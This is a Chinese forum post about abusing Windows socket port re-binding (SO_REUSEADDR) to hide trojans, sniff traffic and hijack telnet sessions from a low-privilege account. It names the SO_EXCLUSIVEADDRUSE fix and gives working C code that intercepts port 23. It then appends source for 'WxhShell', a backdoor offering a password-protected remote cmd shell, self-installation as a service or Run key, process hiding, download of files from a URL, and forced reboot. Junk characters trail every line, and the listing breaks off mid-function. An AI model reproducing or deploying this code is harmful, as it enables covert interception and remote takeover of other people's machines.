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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NeQ/#[~g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OQA}+XO  
Fe}Dnv)}Z  
  saddr.sin_family = AF_INET; !M6*A1g5  
S-GcH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &;|/I`+  
Fc{hzqaP8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XB zcbS+  
.cjSgK1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z.--"cF  
Ovh[qm?Z  
  这意味着什么?意味着可以进行如下的攻击: \IIR2Xf,K  
I!~5.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k68\ _NUL  
x8w455  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CM_FF:<tn  
;mu^WIj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wUv Zc  
;~3CuN8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9ELLJ@oNC  
82{Lx7pI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,dP-sD;<  
*MglX<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~J)_S' #  
<`}Oi 5nW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1Jjay#  
E)7vuWO O  
  #include 9t9x&.A  
  #include unKi)v1  
  #include (]>= y  
  #include    8HDYA$L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ( $A0b  
  int main() }KcvNK (  
  { 1^jGSB.%A  
  WORD wVersionRequested; yHsmX2s  
  DWORD ret; ,3=|a|p  
  WSADATA wsaData; 8>%:MS"  
  BOOL val; f%<kcM2  
  SOCKADDR_IN saddr; Cz` !j  
  SOCKADDR_IN scaddr; p3`ND;KQ  
  int err; n=qN@u;Fi#  
  SOCKET s; g1UP/hNJ\8  
  SOCKET sc; e0Zwhz,  
  int caddsize; ihS;q6ln  
  HANDLE mt; wylbs@  
  DWORD tid;   `fYICp  
  wVersionRequested = MAKEWORD( 2, 2 ); -{n2^vvF  
  err = WSAStartup( wVersionRequested, &wsaData ); ge %ytrst  
  if ( err != 0 ) { /}t>o* x  
  printf("error!WSAStartup failed!\n"); p~Di\AQ/  
  return -1; j51Wod<[  
  } >+ZBQ]~  
  saddr.sin_family = AF_INET; FxeDjAP  
   [uqe|< :  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q8OA{EUtq  
l];w,(u{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q$x$ 4  
  saddr.sin_port = htons(23); ,rc?,J1l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o."k7fLB  
  { 845a%A$  
  printf("error!socket failed!\n"); w/ &)mm{  
  return -1; 'RZ=A+%X  
  }  3 c #oK  
  val = TRUE; >zx]% W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <+o*"z\mI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1$mxMXNsJ  
  { 'Km ~3t  
  printf("error!setsockopt failed!\n"); 2^RWGCEv  
  return -1; <?yf<G'$  
  } dp;;20z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; IsP-[0it  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J8IdQ:4^l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P5-1z&9O  
0se0AcrW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x \0( l5>  
  { A8tzIh8  
  ret=GetLastError(); z B/#[~  
  printf("error!bind failed!\n"); ,t?c=u\5  
  return -1; "u^%~2  
  } ML eo3  
  listen(s,2); "  ,k(*  
  while(1) TNun)0p  
  { +pMa-{  
  caddsize = sizeof(scaddr); Zfwhg4G~  
  //接受连接请求 vfBIQfH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v_=xN^R  
  if(sc!=INVALID_SOCKET) }#'I,?_k  
  { "wwAbU<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rFn%e  
  if(mt==NULL) Z8mSm[w  
  { DNTkv_S  
  printf("Thread Creat Failed!\n"); pAK7V;sJ  
  break; *S _[8L"  
  } }MU}-6  
  } B:5NIa  
  CloseHandle(mt); QEtf-xNn^  
  } \<n 9kwU  
  closesocket(s); d}B_ wz'  
  WSACleanup(); sVzU>  
  return 0; MX*T.TG8  
  }   0'm$hU}  
  DWORD WINAPI ClientThread(LPVOID lpParam) o}^/K m+t  
  { @bfW-\ I  
  SOCKET ss = (SOCKET)lpParam; Jr2x`^aNO  
  SOCKET sc; (_2Iu%F  
  unsigned char buf[4096]; +`jI z'+  
  SOCKADDR_IN saddr; ahJ -T@  
  long num; TTGk"2 Q'  
  DWORD val; "Sx}7?8AB  
  DWORD ret; WC0gJy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]\TYVv)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KH=4A-e,0  
  saddr.sin_family = AF_INET; hKx*V"7/#\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _.}1 Y,Q  
  saddr.sin_port = htons(23); :2v^pg|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *;N6S~_'Y  
  { '>"riEk  
  printf("error!socket failed!\n"); mHj3ItXUu  
  return -1; 6 (M^`&fl  
  } ;7/ ;4Z  
  val = 100; Wnf3[fV6P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gC/~@Z8W]  
  { S2APqRg*  
  ret = GetLastError(); TK! D=M  
  return -1; owR`Z`^h)  
  } Uj/m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #saK8; tp  
  { ='rSB.$Ctk  
  ret = GetLastError(); 7A,QA5G ]C  
  return -1; n8K FP  
  } S`w_q=-^8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h=a-~= 8  
  { 9>QGsf.3  
  printf("error!socket connect failed!\n"); Gl!fT1zh0  
  closesocket(sc); 'ptD`)^(  
  closesocket(ss); T> < Vw  
  return -1; Q85Y6',  
  } [\_#n5  
  while(1) 'L k& iph  
  { 9e aqq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n "J+? ~9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !EwL"4pPw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :Qc[>:N  
  num = recv(ss,buf,4096,0); @3aI7U/I  
  if(num>0) NP+*L|-;  
  send(sc,buf,num,0); C<G`wXlP|  
  else if(num==0) M= ]]kJ:I  
  break; M "W~%   
  num = recv(sc,buf,4096,0); $E >)  
  if(num>0) Uo<iZ3J  
  send(ss,buf,num,0); DQ08dP((v  
  else if(num==0)  0m&  
  break; |Q|vCWel{  
  } h=x{ 3P;B  
  closesocket(ss); TXH9BlDn  
  closesocket(sc); g %e"KnU  
  return 0 ; 5eL_iNqJM  
  } Qnr7Qnb  
VX'cFqrK3  
NA/hs/ '  
========================================================== ;$FpxurX  
hQFF%xl  
下边附上一个代码,,WXhSHELL N!=$6`d  
ZC!GKW P2  
========================================================== <+r<3ZBA  
g~/@`Z2Y  
#include "stdafx.h" $D%[}[2  
12olVTuw  
#include <stdio.h> s*3p*zf  
#include <string.h> rn8#nQ>QZ%  
#include <windows.h> sI,S(VWor  
#include <winsock2.h> ;,&$ob*/  
#include <winsvc.h> `A0trC3  
#include <urlmon.h> HLruZyN4  
9)~Ha iVB  
#pragma comment (lib, "Ws2_32.lib") aP`[O]8j  
#pragma comment (lib, "urlmon.lib") B |pdqSI  
#q-7#pp  
#define MAX_USER   100 // 最大客户端连接数 &pk&8_=f  
#define BUF_SOCK   200 // sock buffer -~HyzX\cZB  
#define KEY_BUFF   255 // 输入 buffer bMjE@S&  
ajJ+Jn\  
#define REBOOT     0   // 重启 5h!ZoB)n  
#define SHUTDOWN   1   // 关机 WF&?OHf2  
n7$2 1*,  
#define DEF_PORT   5000 // 监听端口 No(p:Snbo  
9FKowF_8  
#define REG_LEN     16   // 注册表键长度 jn:9Cr,o;g  
#define SVC_LEN     80   // NT服务名长度 jWE?$r"  
"'9[c"Iz  
// 从dll定义API dU<qFxW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `9>1 w d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9|K3xH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Z)F6sZ`8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2$@N4  
H6Dw5vG"l  
// wxhshell配置信息 ]N#%exBVo  
struct WSCFG { 4xl}kmvv  
  int ws_port;         // 监听端口 jjTb:Z=.'  
  char ws_passstr[REG_LEN]; // 口令 q"OJF'>w5  
  int ws_autoins;       // 安装标记, 1=yes 0=no }iBFo\vU  
  char ws_regname[REG_LEN]; // 注册表键名 + m+v1(@  
  char ws_svcname[REG_LEN]; // 服务名 a*T=;P3(I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b$,~S\\c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >`S $(f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~L55l2u7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q2U8]V U)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g UAx8=h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %.nZ@';.  
P)9$}9i  
}; gOSFvH8FU  
2*5]6B-(  
// default Wxhshell configuration 65g"$:0  
struct WSCFG wscfg={DEF_PORT, =,HxtPJ  
    "xuhuanlingzhe", mDB?;a>  
    1, :Y\!~J3W  
    "Wxhshell", J =j6rD  
    "Wxhshell", !$1'q~sO  
            "WxhShell Service", ?ZS/`P0}[  
    "Wrsky Windows CmdShell Service", ]Lz:oV^%  
    "Please Input Your Password: ", 6.(L8.jv  
  1, 4IUdlb  
  "http://www.wrsky.com/wxhshell.exe", Zk .V   
  "Wxhshell.exe" +Dwq>3AH  
    }; 8gK  <xp  
B*c@w~E  
// 消息定义模块 BJ,D1E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W5c?f,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y2=`NG=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O% }EpIP_  
char *msg_ws_ext="\n\rExit."; k  __MYb  
char *msg_ws_end="\n\rQuit."; NB@TyU  
char *msg_ws_boot="\n\rReboot..."; #eZm)KFQg  
char *msg_ws_poff="\n\rShutdown..."; [i 7^a/e  
char *msg_ws_down="\n\rSave to "; {%! >0@7  
$?FA7=_  
char *msg_ws_err="\n\rErr!"; &'{?Y;A  
char *msg_ws_ok="\n\rOK!"; }r _d{nhi  
eCfy'US;@3  
char ExeFile[MAX_PATH]; iI 4XM>`a  
int nUser = 0; ^h^\kW'#  
HANDLE handles[MAX_USER]; FQp@/H^  
int OsIsNt; 7JL*y\'  
5+yT{,(5  
SERVICE_STATUS       serviceStatus; _O w]kP='  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (t%+Z"j  
^{+,j}V_H  
// 函数声明  !L|PDGD  
int Install(void); <^v-y)%N:A  
int Uninstall(void); Hp}dm93T  
int DownloadFile(char *sURL, SOCKET wsh); T^F9A55y  
int Boot(int flag); LF?MO1!M  
void HideProc(void); {S*:pG:+q  
int GetOsVer(void); X`' @ G  
int Wxhshell(SOCKET wsl); C(jUM!m  
void TalkWithClient(void *cs); +@5@`"Jry  
int CmdShell(SOCKET sock); T:?01?m  
int StartFromService(void); Of?3|I3 l  
int StartWxhshell(LPSTR lpCmdLine); }(-2a*Z;Y  
|(Q !$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .CY;-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hi5}s  
Aav|N3  
// 数据结构和表定义 -q6d&D'B+  
SERVICE_TABLE_ENTRY DispatchTable[] = QgB%\mO=  
{ @Y| %  
{wscfg.ws_svcname, NTServiceMain}, </@3}rfUPg  
{NULL, NULL} S1&Df%Ra  
}; Y [ p  
Rk(2|I  
// 自我安装  ~d\>f  
int Install(void) ?$Tp|<tx#  
{ \-eDNwJ:#@  
  char svExeFile[MAX_PATH]; ?x-:JME0  
  HKEY key; {DVu* %|  
  strcpy(svExeFile,ExeFile); H7&bUt/  
wz1fl#WU  
// 如果是win9x系统,修改注册表设为自启动 ^\Gukkmh}  
if(!OsIsNt) { (w/)u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :0o,pndU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SGK=WLGM8  
  RegCloseKey(key); azT@S=,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]Ac&h aAP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -!JnyD   
  RegCloseKey(key); \Ng|bWR>LQ  
  return 0; gPYF2m  
    } %`b %TH^  
  } XI8rU)q  
} ]%I}hj J  
else { Oqy&V&-C  
eABLBsx  
// 如果是NT以上系统,安装为系统服务 ^}\!Sn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '"~ 2xiin  
if (schSCManager!=0) KDUa0$"  
{ 4qe!+!#$  
  SC_HANDLE schService = CreateService \&Bvh4Q  
  ( stcbM  
  schSCManager, d|Q_Z@;JF  
  wscfg.ws_svcname, 530Z>q  
  wscfg.ws_svcdisp, !W?6,i-]  
  SERVICE_ALL_ACCESS, =bDy :yY}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }2CVA.Qm!  
  SERVICE_AUTO_START, Th%2pwvER  
  SERVICE_ERROR_NORMAL, E>2~cC*  
  svExeFile, hnD=DLW $  
  NULL, <-avC/M$d  
  NULL, h|Os T  
  NULL, v5Qp[O_  
  NULL, #G`UR  
  NULL W]l&mr  
  ); ),53(=/hl  
  if (schService!=0) ,MRAEa2  
  { 4,.B#: 8  
  CloseServiceHandle(schService); i{.%4tA4  
  CloseServiceHandle(schSCManager); Qe,aIh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6'YsSde".  
  strcat(svExeFile,wscfg.ws_svcname); NKJ+DD:'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a ]~Yi.H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  p;k7\7  
  RegCloseKey(key); <+iL@'SgF  
  return 0; c^a D r  
    } @GrQ /F7  
  } z3+7gp+I;  
  CloseServiceHandle(schSCManager); XzV:q!e-  
} nJ{vO{N  
} 1NI%J B  
#eKg!]4-R  
return 1; ?r"QJa>  
} Okt0b|=`1*  
}_vUsjK  
// 自我卸载 ;{%R'  
int Uninstall(void) ^_C]?D?  
{ r'5~4'o$  
  HKEY key; ,y%4QvG7a  
:K]&rGi,  
if(!OsIsNt) { <{xU.zp'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zFpM\{`[g  
  RegDeleteValue(key,wscfg.ws_regname); G:k]tZ*`  
  RegCloseKey(key); ugT;NB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ &III  
  RegDeleteValue(key,wscfg.ws_regname); {P[>B}'rW  
  RegCloseKey(key); hI Q 2s  
  return 0; ytkV"^1^  
  } dd&n>A3O=  
} DE659=Tq  
} h|Z%b_a  
else { 34e> R?J  
E!_mXjlPc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +T|M U  
if (schSCManager!=0) >3\($<YDZM  
{ LFHzd@Y7"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5UU1HC;C  
  if (schService!=0) YA,vT[kX  
  { F{;{o^Pv  
  if(DeleteService(schService)!=0) { X4z6#S58  
  CloseServiceHandle(schService); `$hna{e^n  
  CloseServiceHandle(schSCManager); !Ic{lB   
  return 0; % bpVK~z  
  } g.9:R=JPT  
  CloseServiceHandle(schService); v vvH5NRm  
  } ~8#Ku,vEy  
  CloseServiceHandle(schSCManager); +&j&es  
} [h;&r"1  
} #MwNyZ  
6Uik>e7?  
return 1; njoU0f1`  
} ) }.<lSw  
=iZj&B X  
// 从指定url下载文件 S, g/2k*  
int DownloadFile(char *sURL, SOCKET wsh) M!Hn`_E  
{ Eh{]so  
  HRESULT hr; dYP-QUM$7  
char seps[]= "/"; k_$9cVA  
char *token; O wJZ?j& )  
char *file; miCW(mbO8  
char myURL[MAX_PATH]; )4@La&  
char myFILE[MAX_PATH]; "B 9aJo  
p(J,fus  
strcpy(myURL,sURL); YN<:k Wu  
  token=strtok(myURL,seps); Q;EQ8pL?"  
  while(token!=NULL) a9<&|L <  
  { 9 f+S-!  
    file=token; Ta 0Ln  
  token=strtok(NULL,seps); 4PsJs<u  
  } RXZ}aX[h  
n:i?4'-}  
GetCurrentDirectory(MAX_PATH,myFILE); XX])B%*  
strcat(myFILE, "\\"); ;uK">L[u'  
strcat(myFILE, file); nGvWlx  
  send(wsh,myFILE,strlen(myFILE),0); `EjPy>kM  
send(wsh,"...",3,0); _h2s(u >\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E,fG<X{  
  if(hr==S_OK) %?`TyVt&0  
return 0; H|]~(.w 1}  
else X Nm%O  
return 1; V< ]l=JOd  
_0uFe7sIZ  
} CG -^}xE:  
dDeImSeV  
// 系统电源模块 M:*^k  
int Boot(int flag) ;K+'J0  
{ NDt +m  
  HANDLE hToken; NE'4atQ|  
  TOKEN_PRIVILEGES tkp; B"9/+Yj  
5qx,b&^w  
  if(OsIsNt) { AnUOv 2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,*Vt53@E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q:/BC= ~  
    tkp.PrivilegeCount = 1; F N)vFQ#J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kq m$a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5/m^9@A  
if(flag==REBOOT) {  b}eBy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?mjQN|D  
  return 0; ^/k`URQ  
} v o9Fj  
else { N8s2v W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Oy,`tG0  
  return 0; JkiMrpkuk  
} ls<7Qe"a  
  } 'aFjyY?%  
  else { n%"0%A  
if(flag==REBOOT) { S@N:Cj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R>05MhA+  
  return 0; qit D{;  
} 2d`:lk%\  
else { N=`xoF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /J-:?./  
  return 0; g'F{;Ur  
} ;is*[r\|1  
} 13X0LN  
3Xun>ZQ-  
return 1; IQz:D J  
} +/L "A  
qq)Dh'5*e,  
// win9x进程隐藏模块 rps2sXGr  
void HideProc(void) ^JKV~+ Q  
{ f"8!uE*;  
JDIQpO"Qji  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cc"L> XoK  
  if ( hKernel != NULL ) w,'"2^Cwy  
  { Fa!6*K\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cnrS.s=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `k>h2(@9S  
    FreeLibrary(hKernel); D m|_;iO,  
  } %S2^i3  
/%fa_+,|-  
return; 0%9Nf!j  
} iyRB}[y  
.Y?/J,Ch  
// 获取操作系统版本 6@2 S*\&  
int GetOsVer(void) 0^27grU>   
{ Ot]Y/;K  
  OSVERSIONINFO winfo; 2I 2#o9(Ar  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w# t[sI"IT  
  GetVersionEx(&winfo); \; b)qB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6"d^4L?  
  return 1; H| uvcvf  
  else -RSPYQjz  
  return 0; <N Lor55.]  
} #..-!>lY  
jf_0IE  
// 客户端句柄模块 e2SU)Tr%b  
int Wxhshell(SOCKET wsl) |+^-b}0  
{ fCA/   
  SOCKET wsh; *=-o0c  
  struct sockaddr_in client; E>BP b  
  DWORD myID; '}`|QJ  
q=M\#MlL0'  
  while(nUser<MAX_USER) q 16jL,i  
{ a!;]9}u7  
  int nSize=sizeof(client); @Gs*y1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 78s:~|WB<{  
  if(wsh==INVALID_SOCKET) return 1; j:yQP# U  
IQZBH2R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2 us-s  
if(handles[nUser]==0) &*I\~;1  
  closesocket(wsh); suh@  
else n.[0#Ur&}  
  nUser++; {L!w/IeX  
  } G%a8'3d,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N}Ol`@@#h  
JY\8^}'9  
  return 0; P(_wT:8C?  
} FN#6pM']|  
T:$zNX<f  
// 关闭 socket *3yeMxa  
void CloseIt(SOCKET wsh) f PoC yl  
{ 0/8rYBV  
closesocket(wsh); I 9yN TD  
nUser--; h\ (z!7t*  
ExitThread(0); #xqeCX 4p  
} 6\MJvg\;  
3~e"CKD>  
// 客户端请求句柄 G;n'c7BV  
void TalkWithClient(void *cs) <&7KcvBn"4  
{ T K)Kq  
iY=M67V  
  SOCKET wsh=(SOCKET)cs; lWv3c!E`  
  char pwd[SVC_LEN]; _]"5]c&*3  
  char cmd[KEY_BUFF]; w1J&c'-  
char chr[1]; wff&ci28  
int i,j; $B6"fYiDk  
k,L,  
  while (nUser < MAX_USER) { @j%r6N  
\dyJ=tg  
if(wscfg.ws_passstr) { _E e`Uk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {gE19J3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *t;'I -1w^  
  //ZeroMemory(pwd,KEY_BUFF); :*bmc/c  
      i=0; Gs*FbrY  
  while(i<SVC_LEN) { U9D4bn D  
{emO&#=@CP  
  // 设置超时  w' E  
  fd_set FdRead; zN(fZT}K5  
  struct timeval TimeOut; g)*[W>M  
  FD_ZERO(&FdRead); qll)  
  FD_SET(wsh,&FdRead); ,3G8afo  
  TimeOut.tv_sec=8; EDR;" G(N  
  TimeOut.tv_usec=0; ta>:iQ a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DWB.dP *8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G<kslTPyq  
r5b5`f4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JM5 w`=  
  pwd=chr[0]; p @@TOS  
  if(chr[0]==0xd || chr[0]==0xa) { G: FP9  
  pwd=0; u>Z0ug6x  
  break; Epm\ =s  
  } $oO9N^6yF  
  i++; eRC /Pr  
    } VGoD2,(b^  
#>-_z  
  // 如果是非法用户,关闭 socket .Od.lxz"mp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .*u, !1u  
} nXDU8|"  
<|~8Ezd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); huu:z3{=J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Sd+Cc  
qp*C%U  
while(1) { y4aSf2   
LL5n{#)N  
  ZeroMemory(cmd,KEY_BUFF); I_mnXd;n  
4P@Ak7iL(V  
      // 自动支持客户端 telnet标准   ^Bw2y&nN  
  j=0; '>AOJ aA  
  while(j<KEY_BUFF) { |3f?1:"Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =6b^j]1  
  cmd[j]=chr[0]; &B uO-  
  if(chr[0]==0xa || chr[0]==0xd) { SxLu<  
  cmd[j]=0; gc-yUH0I  
  break; #%U5,[<a8  
  } _tZT  
  j++; D 8^wR{-;J  
    } :ND5po#(  
*TY?*H  
  // 下载文件 SwV{t}I  
  if(strstr(cmd,"http://")) { 'qS&7 W(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3]BK*OqJ  
  if(DownloadFile(cmd,wsh)) X cmR/+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &g R+D  
  else DVxW2J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (tV/.x*G  
  } g$s"x r`:  
  else { Z@fMU2e=Z  
2xvTijO0  
    switch(cmd[0]) { !|{T>yy  
  6q ._8%  
  // 帮助 ${^WM}N  
  case '?': { 12;"=9e!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mG2*s ^$  
    break; K'.aQ&2  
  } P.WEu<$  
  // 安装 @K; 4'b~  
  case 'i': { &*\wr} a!  
    if(Install()) e&zZr]vs]l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4QODuyl2H  
    else !Mp.jE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h.@5vhD  
    break; Q?KWiFA}'  
    } FU9q|!2Y  
  // 卸载 p9k' .H^:_  
  case 'r': { I/D (gY06<  
    if(Uninstall()) H(U`S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4(>|f_$  
    else T!C39T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :B?C~U k  
    break; jovI8Dw >  
    } UN'[sHjOnD  
  // 显示 wxhshell 所在路径 6('2.^8  
  case 'p': { ?zW4|0  
    char svExeFile[MAX_PATH]; Vo^ i7  
    strcpy(svExeFile,"\n\r"); Pu dIb|V2  
      strcat(svExeFile,ExeFile); ,h,DB=!K<  
        send(wsh,svExeFile,strlen(svExeFile),0); XVcY?_AS#  
    break; (LzVWz m  
    } #?8dInu>  
  // 重启 _]btsv\)f  
  case 'b': { `,|"rn#S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [%'yHb~<  
    if(Boot(REBOOT)) {/SUfXq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[3vu p?  
    else { a"gZw9m@  
    closesocket(wsh); H1iewsfzH  
    ExitThread(0); 'E FP/(2J  
    } >5Y%4++(  
    break;  ,83%18b  
    } ?5(Cwy ?  
  // 关机 z+IBy+  
  case 'd': { {%W'Zx  
